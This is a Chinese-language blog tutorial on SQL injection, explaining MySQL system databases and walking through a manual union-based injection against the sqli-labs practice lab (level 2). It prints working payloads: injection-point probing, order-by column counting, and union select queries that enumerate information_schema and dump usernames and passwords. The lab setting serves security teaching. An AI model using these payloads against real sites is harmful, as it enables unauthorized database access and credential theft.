系列2:4、sql注入1

SQL注入原理

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句。
LA

SQL注入漏洞的产生需要满足两个关键条件

(1)参数用户可控:前端传入后端的参数内容是用户可控的.
(2)参数带入数据库查询:传入的参数拼接到SQL后可,且带入数据库查询

一、数据库服务器层级关系:

服务器里有多个数据库,数据库里有多个数据表,数据表里有多个行 列 字段,字段里有数据

二、系统库

比较重要的四个库:

1、information_schema库:

是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息;例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。|
(1)SCHEMATA表:提供了当前MySQL实例中所有数据库信息,show databases结果取之此表。
(2)TABLES表:提供了关于数据中表的信息。table_name
(3)COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息。column_name

2、performance_schema库具有87张表。

MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。

3、mysql库

是核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码

4、sys库

具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。

三、常用到的sql语句语法

1、查询当前数据库服务器的所有数据库

show databases;

2、选中某个数据库

use 数据库名字;

3、查询当前数据库所有的表

show tables;

4、查询

select 语句;

5、合并查询

union 语句;

union特性:前面的查询语句和后面的查询语句结果互不干扰。前面的查询语句的字段数量和后边的查询语句字段数量要一致。
6、排序

order by语句;

四、尝试手工注入(以sqllabs第二关为例)

在这里插入图片描述

此处需要了解浏览器进行数据提交到服务器一般有两种方式:(1)get 通过url 速度快(2)post 通过服务器 安全性更高,数据量更大

1、判断有无注入点

(我输入的参数如果有运行,则有注入点)
经典例子:url后加入and 1 = 1没有变化,或者随便输入报错,则说明有注入点
在这里插入图片描述
id=1后运行,有注入点

2、猜解列名数量(order by 函数)

在这里插入图片描述
在这里插入图片描述

order by 1 逐渐加一到4后报错,说明有三个字段。

3、报错的方式,判断回显点(union 函数)

在这里插入图片描述
显示2 3,说明这两处是回显点

4、信息搜集

在这里插入图片描述
version()函数,查看数据库版本,5.0以上的版本有系统库,低版本无
在这里插入图片描述

database()函数,查询对应数据库

5、使用对应sql 进行注入

在这里插入图片描述

# 查找security库下面所有的表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
# . 表示下一级
# group_concat函数,将结果合并在一起

在这里插入图片描述

#查找users表中的字段
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

在这里插入图片描述

#上一张图观察到username和password,所以查找这两个字段
union select 1,2,(select group_concat(username,0x3a,password) from users)
#0x3a代表:号的16进制
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值